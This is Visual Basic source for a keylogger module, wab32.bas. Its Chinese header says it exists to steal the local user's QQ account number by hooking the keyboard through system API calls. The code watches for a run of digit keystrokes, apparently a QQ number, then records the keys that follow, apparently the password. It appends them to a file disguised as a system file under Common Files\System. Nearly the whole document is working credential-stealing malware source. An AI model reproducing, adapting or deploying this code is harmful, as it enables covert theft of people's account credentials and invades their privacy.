wab32.bas

主要作用是资取本机的QQ号,通过调用系统API函数,来记录键盘,达到记录API的目的.

Attribute VB_Name = "Module1"
Public Const GWL_WNDPROC = (-4)
Public Const WM_USER = &H400

Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Declare Function SetKeyboardHook Lib "KeybHook" (ByVal hwndPost As Long, ByVal Msg As Long) As Long
Declare Function ReleaseKeyboardHook Lib "KeybHook" () As Long

Public prevWndProc As Long

Function WndProc(ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Static p As Integer, t As Integer, Zhuangtai As Boolean
Static a$
    If Msg = WM_USER Then
      If (p <> wParam) Then

       If t > 6 Then Zhuangtai = True: t = t + 1: a$ = a$ + Song(wParam): GoTo 1
       If wParam >= 48 And wParam <= 57 And Zhuangtai = False Or wParam >= 96 And wParam <= 105 And Zhuangtai = False Then
       t = t + 1: a$ = a$ + Song(wParam)
       Else
       If Zhuangtai = False Then t = 0: a$ = ""
       End If
1:       If Len(a$) > 10000 Then a$ = ""
       If t > 25 Then
       a$ = a$ + vbCrLf
       Open "C:\Program Files\Common Files\System\wab32.spl" For Append As #456
       Print #456, a$;
       Close 456
     t = 0: a$ = "": Zhuangtai = False
     End If
    p = wParam
    End If
    End If
    WndProc = CallWindowProc(prevWndProc, hWnd, Msg, wParam, lParam)
End Function
Function Song(a) As String
If a >= 96 And a <= 105 Then Song = Str(a - 96): Exit Function
If a = 189 Then Song = "_": Exit Function
If a = 187 Then Song = "=": Exit Function
If a = 220 Then Song = "|": Exit Function
If a = 219 Then Song = "[": Exit Function
If a = 221 Then Song = "]": Exit Function
If a = 186 Then Song = ";": Exit Function
If a = 222 Then Song = "'": Exit Function
If a = 188 Then Song = ",": Exit Function
If a = 190 Then Song = ".": Exit Function
If a = 191 Then Song = "?": Exit Function
If a = 107 Then Song = "+": Exit Function
If a = 109 Then Song = "-": Exit Function
If a = 106 Then Song = "*": Exit Function
If a = 111 Then Song = "/": Exit Function

Song = Chr(a)
End Function